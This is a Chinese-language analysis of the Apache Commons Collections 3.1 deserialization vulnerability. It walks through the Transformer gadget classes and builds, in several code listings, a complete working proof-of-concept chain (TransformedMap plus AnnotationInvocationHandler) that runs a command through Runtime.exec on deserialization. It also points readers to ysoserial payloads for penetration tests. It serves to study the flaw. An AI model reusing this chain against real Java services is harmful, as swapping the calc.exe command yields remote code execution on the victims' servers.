Apache Commons Collections反序列化漏洞的示例分析

一、简介

虽然网上已经有很多文章对这个组件的反序列化漏洞进行分析，但在这里还是记录一下。毕竟，这对Java反序列化漏洞的发展意义重大。

Apache Commons Collections是Java应用开发中一个非常常用的工具库，它添加了许多强大的数据结构，简化了Java应用程序的开发，已经成为Java处理集合数据的公认标准。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库，当该工具库出现反序列化漏洞时，这些应用也受到了影响，这也是反序列化漏洞如此严重的原因。

二、测试环境

jdk1.7.0_21 + commons-collections-3.1.jar

Apache Commons Collections组件历史版本下载地址：http://archive.apache.org/dist/commons/collections/binaries/，或者使用maven依赖：

<!– https://mvnrepository.com/artifact/commons-collections/commons-collections –>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

在Java反序列化漏洞利用工具ysoserial（https://github.com/frohoff/ysoserial）中已经集成了该组件的漏洞利用payload；在渗透测试的时候，只需按照Java序列化数据的特征（以十六进制aced或者base64编码格式的rO0AB开头的数据）寻找Java反序列化的入口点，并根据Web应用猜测可能存在CommonsCollections组件，则可以直接使用ysoserial工具直接生成payload进行漏洞利用。

三、漏洞分析

这里分析利用Transformer接口以及实现该接口的几个类构造的代码执行漏洞利用链。

Transformer接口

Transformer接口的定义十分简单，只定义了一个transform()方法，根据文档说明，该方法主要用于对象转换。实现该接口的类还是挺多的，这里主要利用以下3个实现类：ConstantTransformer、InvokerTransformer和ChainedTransformer。

package org.apache.commons.collections;public interface Transformer {    //对象转换    public Object transform(Object input);}

ChainedTransformer类

ChainedTransformer类定义了一个Transformer[]数组，并且在实现transform()方法的时候通过依次遍历该数组元素，并调用数组元素对应的Transformer实现类的transform()方法，将多个Transformer对象串起来。

public class ChainedTransformer implements Transformer, Serializable {    private final Transformer[] iTransformers;    ...            public ChainedTransformer(Transformer[] transformers) {        super();        iTransformers = transformers;    }    public Object transform(Object object) {        for (int i = 0; i < iTransformers.length; i++) {            object = iTransformers[i].transform(object);        }        return object;    }    ...}

InvokerTransformer类

InvokerTransformer类的transform()方法主要通过反射机制调用传入参数对象的某个方法，只需在构造InvokerTransformer对象的时候设置方法名、参数类型和参数值即可。

public class InvokerTransformer implements Transformer, Serializable {        /** The method name to call */    private final String iMethodName;    /** The array of reflection parameter types */    private final Class[] iParamTypes;    /** The array of reflection arguments */    private final Object[] iArgs;    ...    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {        super();        iMethodName = methodName;        iParamTypes = paramTypes;        iArgs = args;    }    //简化后的transform()方法，通过反射机制调用对象的方法    public Object transform(Object input) {        ...                Class cls = input.getClass();        Method method = cls.getMethod(iMethodName, iParamTypes);        return method.invoke(input, iArgs);                        ...      }}

ConstantTransformer类

ConstantTransformer类十分简单，直接返回传入对象。

public class ConstantTransformer implements Transformer, Serializable {    private final Object iConstant;    ...    public ConstantTransformer(Object constantToReturn) {        super();        iConstant = constantToReturn;    }        public Object transform(Object input) {        return iConstant;    }    ...}

根据上述情况，我们的目标是构造Runtime.getRuntime().exec()代码执行。很明显，我们需要借助InvokerTransformer类中transform()方法实现反射调用。如下所示，这里即是代码执行的源头：

package orz.vuln.poc;import org.apache.commons.collections.functors.InvokerTransformer;public class CommonsCollections {	public static void main(String[] args) throws Exception {        //通过InvokeTransformer类反射调用Runtime代码		InvokerTransformer invoker1 = new InvokerTransformer("getMethod", 				new Class[] {String.class, Class[].class}, 				new Object[] {"getRuntime", null});		InvokerTransformer invoker2 = new InvokerTransformer("invoke", 				new Class[] {Object.class, Object[].class}, 				new Object[] {null, null});		InvokerTransformer invoker3 = new InvokerTransformer("exec", 				new Class[] {String.class}, 				new Object[] {"calc.exe"});		invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));				/*正常反射调用Runtime代码		Class clazz = Runtime.class;		Method m1 = clazz.getMethod("getRuntime", null);		Method m2 = clazz.getMethod("exec", String.class);		m2.invoke(m1.invoke(clazz, null), "calc.exe");		*/	}}

更进一步，我们发现可以借助ChainedTransformer类中的transform()方法代替invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)))，即将上述多个InvokerTransformer对象初始化为Transformer[]数组，并且用Runtime.class初始化ConstantTransformer类对象，这样，就能构造出一条使用任意对象即可触发代码执行的Transformer调用链：

package orz.vuln.poc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class CommonsCollections {	public static void main(String[] args) throws Exception {		Transformer[] transformers = new Transformer[] {				new ConstantTransformer(Runtime.class),				new InvokerTransformer("getMethod", 						new Class[] {String.class, Class[].class},						new Object[] {"getRuntime", null}),				new InvokerTransformer("invoke", 						new Class[] {Object.class, Object[].class}, 						new Object[] {null, null}),				new InvokerTransformer("exec",						new Class[] {String.class},						new Object[] {"calc.exe"})		};				Transformer chainedTransformer = new ChainedTransformer(transformers);		chainedTransformer.transform("foo");	}}

接下来，我们希望通过反序列化触发调用Transformer对象transform()方法，达到代码执行的目的。

TransformedMap类

Apache Commons Collections中定义了一个TransformedMap类用来对Map进行某种变换，该类通过调用decorate()方法进行实例化，如下所示：

并且在该类中还有个checkSetValue()方法，在该方法中实现了调用Transformer对象的transform()方法；根据该方法描述，checkSetValue()方法将在setValue()方法调用的时候被调用：

因此，我们的思路是通过利用Map对象和构造的恶意Transformer对象初始化TransformedMap对象，再调用setValue()方法修改Map对象的值，代码如下：

package orz.vuln.poc;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class CommonsCollections {	public static void main(String[] args) throws Exception {		Transformer[] transformers = new Transformer[] {				new ConstantTransformer(Runtime.class),				new InvokerTransformer("getMethod", 						new Class[] {String.class, Class[].class},						new Object[] {"getRuntime", null}),				new InvokerTransformer("invoke", 						new Class[] {Object.class, Object[].class}, 						new Object[] {null, null}),				new InvokerTransformer("exec",						new Class[] {String.class},						new Object[] {"calc.exe"})		};				Transformer chainedTransformer = new ChainedTransformer(transformers);		//chainedTransformer.transform("foo");				Map map = new HashMap();		map.put("foo", "bar");		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);		Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();		entry.setValue("test");	}}

继续寻找通过反序列化触发setValue()方法执行的地方，最后在AnnotationInvocationHandler类的readObject()方法中找到了。

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject()方法如下所示：

由于该类不提供公开的构造方法进行初始化，所以，我们通过反射调用该类的构造方法，并使用恶意的TransformedMap对象进行初始化，就可以生成攻击payload。这里有个判断条件需要满足才能最终执行entry.setValue()方法，即

根据代码溯源可知，clazz变量是一个注解子类对象的属性值，如果要满足clazz变量不为null的话，在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性；在漏洞利用代码中我们使用了java.lang.annotation.Target注解，而该注解只有一个属性value，因此我们在map.put()时，需要保证key的值是value。

最终，完整漏洞利用代码如下：

package orz.vuln.poc;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class CommonsCollections {	public static void main(String[] args) throws Exception {				Transformer[] transformers = new Transformer[] {				new ConstantTransformer(Runtime.class),				new InvokerTransformer("getMethod", 						new Class[] {String.class, Class[].class},						new Object[] {"getRuntime", null}),				new InvokerTransformer("invoke", 						new Class[] {Object.class, Object[].class}, 						new Object[] {null, null}),				new InvokerTransformer("exec",						new Class[] {String.class},						new Object[] {"calc.exe"})		};				Transformer chainedTransformer = new ChainedTransformer(transformers);		//chainedTransformer.transform("foo");				Map map = new HashMap();		map.put("value", "bar");//由于使用java.lang.annotation.Target，此处key值必须为value		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);		//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();		//entry.setValue("test");				Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");		Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);		ctor.setAccessible(true);		Object instance = ctor.newInstance(Target.class, transformedMap);				FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser");		ObjectOutputStream oos = new ObjectOutputStream(fos);		oos.writeObject(instance);		oos.close();		fos.close();				FileInputStream fis = new FileInputStream("D:/commonscollections.ser");		ObjectInputStream ois = new ObjectInputStream(fis);		ois.readObject();		ois.close();		fis.close();	}}

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